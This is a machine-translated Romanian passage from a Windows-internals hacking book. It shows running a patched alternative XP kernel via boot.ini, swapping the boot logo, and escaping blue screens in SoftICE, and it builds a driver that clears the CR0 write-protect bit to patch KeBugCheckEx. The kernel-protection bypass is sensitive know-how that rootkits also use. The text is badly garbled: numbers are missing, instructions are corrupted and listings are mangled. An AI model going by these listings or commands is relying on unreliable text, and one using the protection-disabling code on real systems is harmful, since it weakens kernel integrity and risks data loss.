ceea ce este deja bun Dar faptul că actualizarea va afecta nucleul original „pasiv” nu este deja bun Poate exista un conflict între vechiul nucleu și noul mediu (același lucru se va întâmpla atunci când pachetul de servicii este eliminat), așa că trebuie să monitorizați automat (sau cel puțin manual) schimbarea nucleelor, copiați Ntoskrnl exe peste alternativa kernel și modificați-l din nou O cale destul de laborioasă, dar în unele cazuri este imposibil să se facă fără ea, așa că o vom lua în considerare în detaliu, mai ales că, în ciuda aparentei simplități a operațiunii, există o mulțime de capcane aici Primul pas este să copiați fișierul Ntoskrnl exe (situat în folderul System ) într-un fișier cu un nume precum Logoos exe Apoi găsim fișierul boot ini în directorul rădăcină al unității de sistem (care este de obicei unitatea C:) și îl deschidem cu orice editor de text adecvat (lista - ) " [bootloader] timeout= implicit=multi( )disc( )rdisk( )partiție( )\WINXP [sisteme de operare] multi( )disc( )rdisk( )partiție(l)\WINXP="Windows XP Professional" /fastdetect Faceți o copie a liniei conținute în secțiunea [sisteme de operare] și adăugați cheia /kernel=logoos la ea exe, unde logoos exe este numele nucleului nostru alternativ (Listarea - ) În plus, modificați textul cuprins între ghilimele adăugând orice text la alegere (de exemplu, șirul piratat) Desigur, acest lucru se face pentru a simplifica alegerea între nucleul original și versiunea sa piratată în timpul procesului de pornire Lista ^Іa ^іts^ro ?inny file bo^nІ, dakntsy posibilitatea de a alege între nucleele procesului de boot * r * [bootloader] trmeout= implicit=rrulti ( )disk( ) rdi sk ( ) partiție ( ) \ WINXP [sisteme de operare] multi( )disk( )rdisk( )partition(l)\WINXP="Microsoft Windows XP Professional" /fastdetect irulti(O)disk(O)rdisk(O)partitian(l)\WINXP="Microsoft Windows XP Hackat profesional" /fastdetect /kernel=logoos exe În timpul procesului de pornire, va apărea un meniu de pornire, permițându-vă să alegeți între două nuclee alternative (Figura ) După ce ne asigurăm că ambele nuclee funcționează corect, mulțumiți, începem să piratam Deschideți Logoos exe (nucleu alternativ) în HIEW și faceți-i câteva modificări minore De exemplu, găsiți secvența Oh Oh (nop/nop) și schimbați-o la h C h (xchg ех, ех), salvați modificările folosind și reporniți Capturile de ecran care arată conținutul fișierului Logoos exe înainte și după modificare sunt prezentate în Figura și, respectiv, Partea a IV-a Tehnici avansate de dezasamblare Orez Meniu de pornire care vă permite să alegeți între nuclee alternative Orez Conținutul nucleului modificat Ops! Nucleul alternativ nu mai este încărcat! Ei bine, pornim de la cea principală, răsplătindu-ne cu diverse epitete nemăgulitoare pentru că am uitat să recalculăm suma de control Dăm comanda editbin / release iogoos exe și repornim din nou Acum nucleul alternativ funcționează ca și cum nimic nu s-ar fi întâmplat, iar prima linie a fișierului bootini (specificând încărcarea nucleului original) poate fi eliminată în siguranță, astfel încât meniul de boot să nu apară de fiecare dată când sistemul este pornit Adevărat, acest lucru va face imposibilă pornirea în modul sigur, deoarece Windows nu acceptă corect cheia /kernel nedocumentată și devine confuz în nuclee în toate situațiile anormale În acest caz, sistemul susține cu încăpățânare că fișierul ntoskrnl exe nu a fost găsit, deși este prezent în mod regulat pe disc Acum să încercăm să răspundem la întrebarea: de unde știu șoferii despre faptul că nucleul a fost redenumit? Tabelul lor de import conține intrări care indică în mod explicit fișierul Ntoskrnl exe, care, dacă folosește un nucleu alternativ, este posibil să nu fie deloc pe disc Cu toate acestea, funcțiile sunt exportate și importate și totul funcționează Miracole și multe altele! Capitolul Metode moderne de patch-uri Start] chi : PM Y Orez La încărcarea nucleului alternativ Logoos exe, SoftICE susține că numele nucleului este NtoskrnI Orez Comanda mod SoftICE clarifică lucrurile Partea a IV-a Tehnici avansate de dezasamblare Cu toate acestea, dacă lansați comanda tar în SoftICE, atunci SoftICE va afișa numele Ntoskrnl (fără extensie) și nu Logoos exe, așa cum v-ați aștepta, mai ales că nucleul alternativ conține octeți piratați h C h (Fig ) Ce să crezi? Această întrebare nu este retorică Dacă doriți să comparați o imagine de kernel cu un fișier de disc (de exemplu, pentru a vedea dacă a fost modificat în memorie), trebuie să știți exact la ce să faceți referire, altfel vă puteți încurca Răspunsul este dat de comanda mod a aceluiași SoftICE, arătând numele modulului kernel - Ntoskrnl și fișierul corespunzător - Logoos exe (Fig ) Trucul este că numele modulelor nu trebuie să se potrivească cu numele fișierelor Și acest lucru se aplică nu numai nucleului, ci și tuturor bibliotecilor dinamice în general! La încărcarea cu o legătură statică sau cu funcția LoadLibrary API pentru prima dată, sistemul găsește un fișier pe disc după numele său, iar la încărcarea modulelor deja încărcate, căutarea merge în memorie, unde tabelul de export listează direct cine este cine ! Modificarea logo-ului de boot În cele din urmă, vom schimba sigla de boot care este afișată de fiecare dată când Windows pornește Dacă sigla nu este afișată, înseamnă că cheia /noguiboot se află în fișierul boot ini, care, în special, este forțat de depanatorul SoftICE atunci când este instalat Cert este că atunci când alege un tip de boot, depanatorul primește frâiele înainte ca driverele video să pornească, dar după ce sistemul comută ecranul în modul VGA SoftICE nu este prietenos cu acest mod, motiv pentru care introduce cheia /noguiboot pentru ca sistemul să pornească în modul text Când încărcați manual depanatorul cu comanda net start ntice, această cheie poate fi eliminată prin readucerea siglei de boot la locul potrivit Imaginea standard afișată la pornirea Windows pare destul de plictisitoare și plictisitoare și ne provoacă să o înlocuim cu ceva mai interesant Sigla de pornire este stocată în resurse în secțiunea hărți de bit Pentru a-l înlocui, aveți nevoie de un editor de resurse bun care reconstruiește corect secțiunea de resurse fără a distruge fișierul kernel Cea mai bună alegere este utilitarul gratuit Resource Hacker (Figura ), pe care îl puteți descărca aici: http://www littlewhitedog com/downloadview-details- -Resource Hacker htmL Orez Hacker de resurse la locul de muncă Capitolul Metode moderne de patch-uri Sigla de pornire Windows și Windows XP este prima imagine cu o rezoluție de x și o adâncime de culoare de Puteți crea singur un logo folosind orice editor grafic adecvat (de exemplu, Adobe Photoshop) sau puteți găsi o imagine finită pe Internet (doar căutați cuvintele cheie „colecția logo-ului de pornire” sau „galeria logo-ului de pornire”) Colecții destul de bune de logo-uri pot fi găsite la http://www littlewhitedog com/content- html și http://ezskins ezthemes com/pcenhance/xb/ Pentru a înlocui sigla, lansați Resource Hacker, deschideți nucleul alternativ, selectați imaginea dorită în secțiunea de resurse și selectați comanda Înlocuire resursă din meniu Apoi specificați calea către fișierul cu noua imagine și salvați fișierul Resource Hacker va recalcula automat suma de control, iar după o repornire, noul logo va apărea pe ecran (Fig ) Orez Noul logo va apărea la repornire Notă Există multe utilități freeware și shareware care vă permit să modificați sigla de boot Windows într-un mod mai sigur, fără riscul de a deteriora kernel-ul Exemple sunt BootSkin (freeware) și BootXP (shareware), care pot fi descărcate de aici: http://www majorgeeks com/downloads html Infiltrăndu-ne în nucleu, invadăm „sfântul sfintelor” sistemului de operare și, prin urmare, este necesar să ne pregătim din timp pentru eventuale eșecuri Dacă discul este formatat ca FAT, atunci este întotdeauna posibil să porniți de pe discheta de sistem și să restaurați toate fișierele de pe CD-R M de distribuție Adevărat, dacă unele pachete de servicii au fost instalate înainte, atunci altarul se transformă în iad Nici măcar o reinstalare totală nu ajută Windows refuză să instaleze peste o versiune mai recentă Din fericire, pachetul de actualizare este de obicei un fișier cab obișnuit cu un program de instalare exe, iar fișierele necesare pot fi extrase fără instalare! Cu NTFS, situația este mai complicată și, pentru a ajunge la partițiile necesare, trebuie fie să conectați hard disk-ul cu sistemul prăbușit la un computer cu un sistem funcțional, instalându-l al doilea (cu toate acestea, BIOS-urile moderne vă permit să porniți de la orice hard disk) Alternativ, puteți utiliza produse precum Windows PE, un fel de LiveCD care pornește de pe CD-R M și nu necesită instalare, sau produsul gratuit Bart PE Builder (http://www nu /nu/pebuilder) Aceste probleme sunt tratate mai detaliat în următoarea carte: Chris Kaspersky, Data Recovery A Practical Guide - Sankt Petersburg: BHV-Petersburg, Partea a IV-a Tehnici avansate de dezasamblare Desigur, înainte de a face orice modificări ale fișierelor și/sau registrului, trebuie să creați o copie de rezervă Notă „Intervenția chirurgicală” neîndeplinitoare duce adesea la erori critice ale aplicațiilor și ale sistemului de operare în sine Desigur, ar fi logic să oferim cititorilor informații detaliate despre depășirea consecințelor și restabilirea sistemului Cu toate acestea, deoarece cartea a crescut deja la o dimensiune de neconceput, nu este posibilă includerea acestui material în versiunea sa tipărită Cu toate acestea, secțiunea finală a acestui capitol va oferi câteva sfaturi interesante pentru a depăși ecranul albastru al morții care apare adesea după hack-uri eșuate de kernel Există viață după BSOD? Toată lumea știe ce este BSOD (alias Blue Screen Of Death) Aceasta este ultima suflare a sistemului de operare, după care resetează dump-ul și trece la repornire, pierzând toate datele nesalvate Apropo, o colecție excelentă de diferite BSOD care apar în diverse situații poate fi găsită aici: http://www dognoodle cjb net/bsod/ Cu toate acestea, în realitate, BSOD nu este sfârșitul, iar dacă repornirea este înlocuită cu resuscitare, atunci în din cazuri puteți reveni la modul normal și aveți timp să închideți sistemul de operare într-un mod normal înainte de a muri complet Un ecran albastru apare ori de câte ori nucleul lansează o excepție netratată (să zicem, un acces de pointer nul) sau prinde o operație cunoscută prost concepută (cum ar fi reeliberarea memoriei deja eliberate) În toate aceste cazuri, controlul este transferat funcției KeBugCheckEx, a cărei descriere poate fi găsită în DDK și care termină sistemul în modul de urgență, dacă este necesar, resetând depozitul de memorie, săpat în care puteți determina cauza eșec Notă Pentru mai multe informații despre acest subiect, consultați materialul suplimentar pentru acest capitol, care poate fi găsit pe CD-ul care însoțește această carte în directorul \PART \CH \SUPPLEMENTARY Funcția KeBugCheckEx preia patru argumente, dintre care cel mai important este BugCheckcode, care specifică motivul eșecului Există peste o sută de coduri de eroare documentate în DDK (căutați-le în ghidul „Utilizarea Microsoft Debugger”), dar de fapt sunt multe altele Dezasamblarea nucleului Windows SP arată că KeBugCheckEx este apelat din de locuri, majoritatea cu parametri diferiți Desigur, nu toate erorile sunt la fel de fatale În sistemele de operare multi-core, aceasta nu este deloc o problemă Căderea unui nucleu nu le afectează pe celelalte Toate nucleele funcționează în spații de adrese separate și sunt parțial sau complet izolate unele de altele Este foarte greu să distrugi un astfel de sistem, arhitectura multi-core este extrem de rezistentă la defecțiuni, dar în același timp foarte lentă! Schimbul inter-nuclear necesită mult timp procesor și, dacă înghesuiți toate componentele într-un singur nucleu, atunci nu obținem nimic mai mult decât un nucleu monolitic precum Linux (care, apropo, a fost motivul criticilor acerbe la adresa acestuia din urmă) de mulți teoreticieni) În Linux, ca, într-adevăr, în BSD, toate componentele kernelului (acolo se numesc module) sunt executate într-un singur spațiu de adresă, iar un modul scris incorect poate încălca din greșeală sau intenționat proprietatea altcuiva (transforma datele în vinaigretă, de exemplu) Este un fapt! Totuși, atunci când în nucleu apare o excepție netratată (de exemplu, accesul printr-un pointer nul), Linux „se blochează” doar modulul care a generat această excepție, fără a le atinge pe toate celelalte O prăbușire a sistemului are loc doar dintr-un motiv serios, când ceva fundamental se prăbușește, făcând cu adevărat imposibilă operarea ulterioară a nucleului Desigur, dacă șoferul greu Capitolul Metode moderne de patching discul este sfârșitul Dar aici, de exemplu, puteți face fără driverul plăcii de sunet pentru ceva timp, salvând toate datele nesalvate și abia apoi repornind Familia de sisteme de operare Windows NT utilizează o arhitectură hibridă care combină punctele forte ale monoliticului și ale microkernel-urilor (numite și „arhitectură microkernel modificată”), care teoretic ar trebui să ofere superioritate față de Linux monolitic De altfel, nucleul experimental GNU/HL'Rt se bazează pe arhitectura microkernelului Legendarul Windows NT/XP stabil, care, conform zvonurilor, poate fi „scăpat” doar împreună cu serverul, este de fapt foarte ușor de condus pe un ecran albastru Este suficient ca orice șofer să facă ceva ilegal, deoarece sistemul catapultează automat utilizatorul, având grijă de el Notă Pentru a minimiza consecințele unui accident de sistem, Windows NT acceptă mecanisme speciale de apel invers Orice șofer poate apela funcția KeRegisterBugCheckCallback și poate înregistra un handler special care va primi controlul în momentul în care apare un ecran albastru Acest lucru permite, de exemplu, driverului sistemului de fișiere să-și elibereze buffer-urile, mai ales că le poate verifica integritatea prin CRC sau în orice alt mod Există zvonuri persistente că NTFS face exact asta Indiferent cum KeRegisterBugCheckCallback' La momentul de în caz de blocare, bufferele NTFS nu sunt golite și supraviețuiește doar prin sprijinirea tranzacțiilor care garantează atomicitatea tuturor operațiunilor (adică o operație fie are loc, fie nu) Actualizarea unei înregistrări de fișier nu poate avea loc „la jumătate” și, prin urmare, spre deosebire de FAT, clusterele pierdute de pe aceasta se formează mult mai rar Blocarea sistemului prin aruncarea unui ecran albastru este cel mai elementar lucru care poate fi făcut atunci când sistemul se blochează Microsoft a luat această cale cu un motiv, deoarece este calea cu cea mai mică rezistență Vă vom arăta cum să ieșiți din „ecranul albastru” în modul normal pentru a avea timp să salvați toate datele înainte ca sistemul să se prăbușească complet Aceasta este o cascadorie destul de riscantă În caz de eșec, putem pierde totul, chiar și volumul discului nostru, care apoi va trebui restaurat pentru o perioadă foarte lungă de timp Cu toate acestea, pericolul nu este atât de mare Mai întâi, vom demonstra tehnica de a depăși manual ecranul albastru, apoi vom scrie un driver special care va face acest lucru automat Notă Vom efectua toate experimentele pe Windows virgin, fără pachete de servicii instalate (alte sisteme se comportă la fel, numai adresele diferă, dar esența rămâne aceeași) Pentru a minimiza riscul de deteriorare a sistemului dvs principal, se recomandă ca toate experimentele descrise să fie realizat într-un emulator, de exemplu, VMware În plus, veți avea nevoie de SoftICE, Windows DDK și un set de utilitare de Sven Schreiber, furnizate cu cartea deja menționată „Funcții nedocumentate ale Windows ” Aceste utilitare pot fi descărcate, de exemplu , de aici http://irazin ru/Downloads/ BookSamples/ Schreiber zip sau de pe site-ul cărții http://www rawo! com/?topic= Depășirea BSOD cu SoftICE După ce așteptăm ca Windows să termine încărcarea, rulăm driverul killer w k kill sys din setul de utilitare Schreiber, special conceput pentru a provoca un ecran albastru Desigur, nu puteți porni driverul doar din linia de comandă! Nu te poți descurca fără un bootloader! De fapt, Windows NT acceptă încărcarea dinamică a driverelor, dar un utilitar gata făcut nu este inclus în pachetul de livrare standard - totul este în spiritul Microsoft, dar nu există probleme cu aceasta în Linux Notă Puteți, desigur, să înregistrați driverul în registru, dar apoi sistemul se va prăbuși la fiecare pornire, ceea ce, în general, nu este inclus în planurile noastre, oricât de insidioase ar fi exe Partea a IV-a Tehnici avansate de dezasamblare e* STOP: X E C XG xBE DI X X ODE EXCEPTION NOT HANDLED »»* Adresa BE D baza la BE D , DateStanp a cc - w k kîll Orez Ecran albastru al morții după descărcarea unui driver ucigaș Introducem în linia de comandă w k load exe w k kill sys și sistemul se blochează într-un ecran albastru (Figura ) Acest lucru se datorează faptului că inițializarea driverului kill rulează codul afișat în Lista - Acest cod accesează o locație de memorie zero, ceea ce este strict interzis NTSTATUS DriverEntry(PDRIVERJDBJECT pDriverObject, PUNICODE STRING pusRegistryPath) returnează *((NTSTATUS *) ); } A meritat să renunți la sistem din cauza unui asemenea fleac? Cu cine interferează cu adevărat „ucigașul” nostru?! La urma urmei, integritatea sistemului nu a avut de suferit deloc! Cum să explic acestui sistem de operare că totul este în regulă? Este timpul să reveniți la modul utilizator și să continuați munca normală Dacă SoftICE a fost lansat în avans, atunci va prinde această excepție și își va afișa ecranul, dându-ne toate frâiele (Fig ) Orez SoftICE poate gestiona multe excepții fatale și non-fatale care apar atât în modul utilizator, cât și în modul kernel Capitolul Metode moderne de patch-uri Dacă apăsați tasta sau combinația + , imediat după ieșirea din SoftICE, va apărea un ecran albastru și apoi nu va mai fi nimic de reparat Dar în timp ce suntem la SoftICE, putem face mai multe Și puteți face următoarele: □ Determinați locația eșecului (în cazul nostru, acesta este un apel de pointer nul), corectați situația (setați pointerul corect) și ieșiți manual din handlerul de excepții, returnând CS:EIP la starea inițială Această metodă este bună, dar, din păcate, nu universală În plus, necesită o anumită inteligență pe care mașina nu o are □ Repetați firul curent inserând comanda jmp $ în spațiul liber și ieșiți din depanator, permițând întreruperi la comanda g fl=i (dacă au fost dezactivate brusc) Sistemul de operare, deși teribil de lent, va continua să funcționeze În acest caz, vom putea cel puțin să-i încheiem cu grație activitatea □ Așteptați ca funcția KeBugCheckEx să fie apelată și ieșiți imediat, ignorând eșecul și continuând cu execuția normală Adevărat, în acest caz nu avem garanții că sistemul nu se va prăbuși complet □ În sfârșit, ultima modalitate - sălbatică, dar uneori funcțională: lansați comenzi r eip= /r cs=lB, trecând procesorul în modul aplicație Cu alte cuvinte, există multe opțiuni Să încercăm să începem să folosim prima metodă Știm că, în acest caz, accidentul s-a datorat unei erori de încălcare a accesului În consecință, procesorul a ridicat o excepție, a aruncat eip/cs/flags în partea de sus a stivei și a transmis controlul la gestionarea excepțiilor, în care ne aflăm acum Notă Uneori, din motive care nu sunt în întregime clare, SoftICE nu se oprește la prima comandă a handler-ului de excepții, ci direct la locul accidentului în sine Sub VMware, prima dată când SoftICE se oprește întotdeauna în handler, și toate ori ulterioare se oprește la locul accidentului Efectul persistă până când VMware este repornit Lansăm comanda d esp pentru a afișa conținutul stivei (Listing - ) Notă Pentru comoditate, este recomandat să comutați fereastra de descărcare în modul doubleword folosind comanda dd g♦w g*' Lista Srdarzhimre :d esp :F C :F C :F CA BE C AD D F D BE F D FFFFF A BE F D A E • g Adresa instrucțiunii care a ridicat excepția se află în primul cuvânt dublu - BE c h (această valoare va fi probabil diferită pentru dvs ) Urmează selectorul cs Pentru noi toți, ar trebui să fie egal cu h Al treilea dword stochează conținutul registrului de steaguri, eflags Acum știm locația accidentului (Figura - ) și putem tipări lista dezasamblatorului pe ecran Comanda u *esp (dezasamblarea conținutului memoriei la adresa la care face referire registrul esp) sau leb c (lista - ) ne va ajuta în acest sens Rețineți că în situații practice nu veți ști acest lucru Partea IV Tehnici avansate de dezasamblare I Lista Determinarea locației exacte a defecțiunii :BE C :BE C :BE C :BE C :BE C A :BE C CB MOV RET NOP NOP NOP NOP EAX,[ ] Orez SoftICE arată instrucțiunea care a lansat excepția În circumstanțe normale (fără SoftICE) ar apărea un ecran albastru Acolo e! Instrucțiunea care a provocat accidentul! Și să „sărim peste” ea, continuând execuția cu ret h? Făcut repede şi foarte bine Dar mai întâi trebuie să părăsiți handlerul de excepții Pentru a face acest lucru, rulați următoarele comenzi în SoftICE: Pg eip = *esp + Sizeof(mov eax, [ ]); //Setați registrul eip la RET P g cs = *(esp + ),- // Setați selectorul CS Și (opțional) P g fl = i; //Activați întreruperile P esp = esp + s // Scoate dwords din stivă, // CPU-uri abandonate acolo Oh // Ieși din depanator După executarea acestei secvențe „magice” de comenzi, sistemul își va continua funcționarea normală, iar ecranul albastru nu va mai apărea Fictiune! Incredibil! Tocmai am scăpat de un sortiment care părea inevitabil cu doar o clipă în urmă! Capitolul Metode moderne de patch-uri O mică nuanță Nu toate versiunile SoftICE pot restaura registrul esp într-un handler de excepții Depanatorul ignoră comanda r esp=esp +c, de fapt doar simulând execuția acesteia! Și asta înseamnă că stiva rămâne dezechilibrată și, în ciuda tuturor eforturilor, prăbușirea sistemului va avea loc în continuare Trebuie să fii inteligent Vedem că în spatele ret h este un lanț lung de instrucțiuni nop Dar dacă inserăm comanda add esp, OCh aici, astfel încât stiva să echilibreze procesorul însuși? Spunem depanatorului un BE C (asamblare începând de la adresa BE C ) și introducem următoarele instrucțiuni de asamblare: add esp, oc jmp be C și apăsăm încă o dată tasta pentru a finaliza introducerea Reinstalăm еір la începutul „patch-ului” nostru - r еір =ve С și ieșim din SoftICE De data asta o facem corect! Pentru orice eventualitate, secvența comenzilor pentru resuscitarea sistemului este dată în Lista Adevărat, trebuie amintit că este aplicabil numai în acest caz particular G eșec în teren i u *sp g еір = *eșp g eir - eir + а еір adauga eșp,Os jirp BE C h ; Adresa de comandă RET (în cazul dvs va fi diferită) Recuperare automată Metoda de recuperare „manuală” descrisă tocmai este potrivită pentru programatorii de sistem care lucrează constant cu SoftICE și care știu să îngrădească registrele ca o pinza Dar pentru utilizatorii obișnuiți, această abordare este similară cu moartea Dar de ce nu scriem un utilitar care trece în buclă un flux eșuat sau scurtcircuitează KeBugCheckEx? Notă Nu este dificil să scrieți un astfel de utilitar (și îl vom scrie de fapt) Cu toate acestea, trebuie amintit că acest lucru este aproximativ același cu a pune un buștean sub o supapă de urgență Dacă sistemul se destramă, atunci nimic nu îl va opri sistem de fișiere (să fie cel puțin NTFS) Chiar dacă probabilitatea unei astfel de tragedii este extrem de mică, este totuși posibil - țineți cont de acest lucru Cu toate acestea, încă merită riscul, mai ales în cazurile în care ești sigur că se poate face Să facem următorul experiment Să apăsăm comanda rapidă de la tastatură + pentru a apela SoftICE, să setăm un punct de întrerupere pe KeBugCheckEx și să rulăm driverul nostru ucigaș Mai mult, punctul de întrerupere trebuie să fie hardware (bpm KeBugCheckEx x), și nu software (bpx KeBugCheckEx), altfel nimic nu va funcționa De data aceasta, în loc să raporteze o eroare de paginare, SoftICE apare atunci când atinge punctul de întrerupere, evidențiind prima comandă a funcției KeBugCheckEx (Figura - ), care în cazul nostru se află la BF h Derulând în jos fereastra dezasamblatorului, găsim prima instrucțiune ret h (în cazul nostru, se află la ClE h) Aceasta este comanda pentru a ieși din funcția la care trebuie să jmp Pentru o căutare rapidă în SoftICE, puteți lansa comanda de căutare (s ep - C , , ) Dăm depanatorului comanda r ep = C E (cel mai probabil adresa dvs va fi diferită) și ieșim apăsând + Depanatorul apare din nou, în aceeași funcție Nu am reușit? Nu te grăbi să tragi concluzii! Totul merge conform planului! Ignorarea criticilor Partea a IV-a Tehnici avansate de dezasamblare erorile provoacă o întreagă cascadă de excepții secundare, care în acest caz se întâmplă Repetăm comanda noastră еір = С Е (pentru a face acest lucru, trebuie doar să apăsați + ), iar sistemul revine la modul normal! A treia oară depanatorul nu apare Mouse-ul încetinește puțin, dar este foarte posibil să-l conduci pe covor Orez Capturarea BSOD cu comanda SoftICE bpm KeBugCheckEx x Să începem să creăm un driver care să facă toate acestea pentru noi Mai întâi avem nevoie de un schelet Arată ca Lista - Q Scheletul unui „pseudodriver” care nu controlează niciun dispozitiv, ci lozno-; model flat, stdcall ; Utilizați comenzi CPU ; Model de memorie plată, apeluri stdcall cod ; Secțiunea de cod DriverEntry proc ; Punct de intrare către șofer ; Cod șofer Mov eax, C h ret DriverEntry endp ; Returnarea unei erori de configurare ; STATUS DEVICE CONFIGURATION ERROR ; Plecăm endDriverEntry Capitolul Metode moderne de patch-uri De fapt, acesta nu este chiar un șofer Nu acceptă niciun pachet irp, nu deservește niciun dispozitiv și nu face absolut nimic, doar descărcări și descărcari Dar pentru întreprinderea noastră, acest lucru va fi suficient! Tot codul este concentrat în cadrul procedurii DnverEntry - un fel de analog al funcției principale C, care se execută atunci când se încearcă încărcarea driverului, inițialând tot ceea ce este necesar De aici puteți „întâmpina” funcția KeBugCheckEx și o puteți modifica după cum doriți Deși procedura DnverEntry rulează la nivel de kernel cu privilegii maxime, încercarea de „editare” a codului nativ are ca rezultat o încălcare a accesului Acest lucru funcționează pentru a proteja împotriva piratarii neintenționate a nucleului de către un driver incorect (vezi secțiunea „Modificarea nucleului în memorie” din acest capitol și lista ) Cum să o dezactivez? După cum sa menționat deja, există două modalități de a dezactiva această protecție (prin registru și prin resetarea steagului wp în registrul CR ) Ambele metode au fost deja discutate mai devreme în acest capitol Notă Există o altă modalitate - remaparea (rematarea) paginilor Mapăm adresa fizică a paginii care conține KeBugCheckEx la spațiul de adrese virtuale al procesului nostru apelând funcția NtMapViewOfSection, atribuind toate drepturile de care avem nevoie Remapările se realizează exclusiv la nivel de kernel, dar pagina mapată poate fi accesată chiar și din nivelul de aplicare Beauty Multe firewall-uri și alte programe care trebuie să intercepteze funcțiile kernelului, cum ar fi rootkit-urile, funcționează în conformitate cu această schemă Mai multe informații despre această problemă pot fi găsite la http://www stanford edu/~stinson/misc/curr res/hooks /nt hooking txt și http://acsac org/ / papersZ pdf De asemenea, puteți găsi multe resurse interesante pe Internet, căutând cuvintele cheie ''Windows NT System-Call Hooking'' Exemplul de driver prezentat aici se bazează pe ștergerea steagului wp din registrul cro Deși acesta este un truc destul de „murdar” care are multe „contraindicații”, este destul de potrivit pentru acest caz, mai ales că se încadrează în doar instrucțiuni ale mașinii (lista ) Lista Cod, fromkgcs^ioshjyzasch^ yaidura$t modificări de memorie mov eax, crO ; Încărcăm registrul de control cgO în registrul eax și ex, OFFFEFFFFh ; Resetați bitul WP care dezactivează scrierea mov crO, eax ; Actualizăm registrul de control sgO În consecință, pentru a activa protecția, bitul wp trebuie setat, ceea ce face următoarele comenzi ale mașinii (Listarea - ) Lista Cod pentru a proteja nucleul împotriva modificărilor în memorie mov eax, crO ; Încărcăm registrul de control cgO în registrul eax sau eax, lOOOOh , - Ștergeți bitul WP care dezactivează scrierea mov crO, eax ; Actualizăm registrul de control sgO Un program „corect din punct de vedere politic” nu ar trebui doar să dezactiveze/active protecția la scriere, ci ar trebui să-și amintească starea curentă a bitului wp înainte de a-l schimba și apoi să-l restabilească la starea inițială, altfel puteți activa protecția în mod neintenționat în cel mai inoportun moment, chiar și înainte de modificarea preconizată Se va finaliza Puteți „scurta” funcția KeBugCheckEx în moduri diferite Cel mai corect (și de încredere!) este să determinați adresa sa prin analizarea tabelului de import Cu toate acestea, această abordare este prea plictisitoare și consumatoare de timp Este mult mai ușor să înlocuiți adresele gata făcute prin codificarea lor în programul dvs Dezavantajul acestei soluții este că utilitarul nu va funcționa pe alte computere Merită să instalați (sau să ștergeți) un Service Rask sau să treceți la o altă versiune a sistemului, deoarece toate adresele se vor schimba imediat Cu toate acestea, cu codul sursă pentru driver la îndemână, acesta poate fi întotdeauna reparat și recompilat Deci, pentru „utilizare acasă” o astfel de soluție este destul de acceptabilă Partea a IV-a Tehnici avansate de dezasamblare Principala subtilitate este că nu ar trebui să atingem primul octet al funcției KeBugChekEx, deoarece SoftICE l-a „atins” deja Alte programe de hacker (de exemplu, spionii API) fac același lucru, plasând aici comanda int oz (cch opcode), după ce au salvat conținutul anterior undeva la o altă adresă OK, să sărim peste prima comandă (în cazul nostru, este push heb) și să începem implementarea de la a doua Pentru a echilibra stiva, spre deosebire de push heb, spuneți pop eax și apoi fie introduceți jmp pe ret h, fie direct ret h Ultima opțiune este mai scurtă și mai elegantă Este implementat așa cum se arată în Lista - Lista J Cod care scurtcircuitează funcția KeBugCheckEx mov dword ptr DS:[ BF h+l], C h Aici: BF h este adresa de pornire a funcțiilor KeBugCheckEx (diferită pe toate mașinile), este lungimea instrucțiunii push Heb și С Н este codul mașinii, care este o secvență de două comenzi: POP EAX ( h) / RET h (C h h h) Punând toate componentele împreună, obținem codul afișat în Lista - : Lista „Pseudodriver” Anti-B$OD model flat, stdcall cod DriverEntry proc mov mov și mov eax, crO, crO eax OFFFEFFFFh ; Încărcăm registrul de control crO în registrul eax ; Stocați bitul WP în registrul ebx ; Resetați bitul WP care dezactivează scrierea ; Actualizăm registrul de control sgO mov dword ptr DS:[ BF h+l], C h C ; „Scurt” KeBugCheckEx mov crO, ebx mutare eax, C O h ret DriverEntry endp endDriverEntry ; Restaurarea bitului WP ; STATUS DEVICE CONFIGURATION ERROR Iată un driver atât de mic și câte date poate economisi! Rămâne doar să-l compilați, așa cum se arată în Lista , și puteți începe testarea ' Lista Asamblarea și conectarea driverului „Anti-BSOD” (folosind : MASM inclus cu Windows NT DDK) ml /nologo /c /coff nobsod asm link /driver /base: xl /align: /out:nobsod sys /subsystem:native nobsod obj Dacă totul a fost făcut corect, atunci fișierul nobsod sys va fi format pe disc, pe care îl vom încărca folosind încărcătorul dinamic w k load Încărcătorul, desigur, va raporta că a apărut o eroare în timpul încărcării, dar așa ar trebui să fie Totul e bine! Am returnat codul STATUS DEVICE CONF GURATION ERROR! Notă Sub VMware, acest truc nu funcționează, deoarece VMware nu emulează pe deplin registrul rgO și pur și simplu nu înțelege astfel de glume, determinând sistemul de operare invitat să înghețe În acest caz, puteți comenta toate rândurile legate de registrul său și puteți dezactiva protecție prin registru, creând Capitolul Metode moderne de patch-uri dând cheia corespunzătoare cu „Editorul de registru” Apropo, dacă SoftICE este instalat pe mașina țintă, atunci o astfel de cheie a fost deja creată și nu trebuie făcut nimic Să descarcăm driverul criminal pentru a vedea dacă instrumentul nostru BSOD se poate descurca sau nu Dacă SoftICE este instalat pe sistem, acesta va apărea de mai multe ori Ieșiți din depanator apăsând sau + Dar, oricum, ecranul albastru nu mai apare! Sistemul este teribil de lent, dar încă funcționează Și acesta este punctul principal! Lucrul rău este că acum Windows nu are nicio modalitate de a semnala că a avut loc o defecțiune a sistemului și că sistemul ar trebui să fie oprit cât mai curând posibil prin efectuarea unei închideri Cum să remediați această deficiență? Cel mai simplu lucru este să adăugați câteva linii de asamblare la „patch-ul” nostru de pe KeBugCheckEx, care va da un semnal sonor sau chiar va reda ceva melodie pe difuzor În principiu, puteți chiar împărți codurile BugCheck în categorii, fiecare dintre ele va avea propriul său număr de bipuri Nu trebuie să cauți departe pentru exemple Ele pot fi împrumutate de la orice virus DOS Tehnica de programare a difuzoarelor de sistem la nivel de nucleu a rămas, de asemenea, neschimbată Deci totul depinde de imaginația ta Cât de sigur este utilitarul Anti-BSOD? „Shunting” KeBugCheckEx ajută întotdeauna? Cât de sigur este? Acest lucru este foarte, foarte periculos și nu ajută întotdeauna De exemplu, luați în considerare următorul exemplu de cod, împrumutat din nucleu (Listing ): ^shunting** KeBugCheckEx se termină > foarte trist „ > > »•' • apelați ExAl ocatePoolWithTag ; Alocarea memoriei dintr-un pool CITț> eax, ebx ; Verificarea succesului ; alocare de memorie mov ds:dword BA , eax D jnz scurt loc C ; -> Ni s-a dat memoria F push ebx ; \ push ebx ; + împingere ; + - Dar nu ne-au dat amintire! împingere ; +- Să mergem în rai push h ; + sunați KeBugCheckEx ; / C loc C ; COD XREF: sub Cl+ Cîj С lea eax, [ebp+var C] ; Continuăm cu execuția normală F push ebx push eax Sistemul alocă memorie din pool-ul partajat, iar dacă memoria este în regulă, are loc o continuare normală, în caz 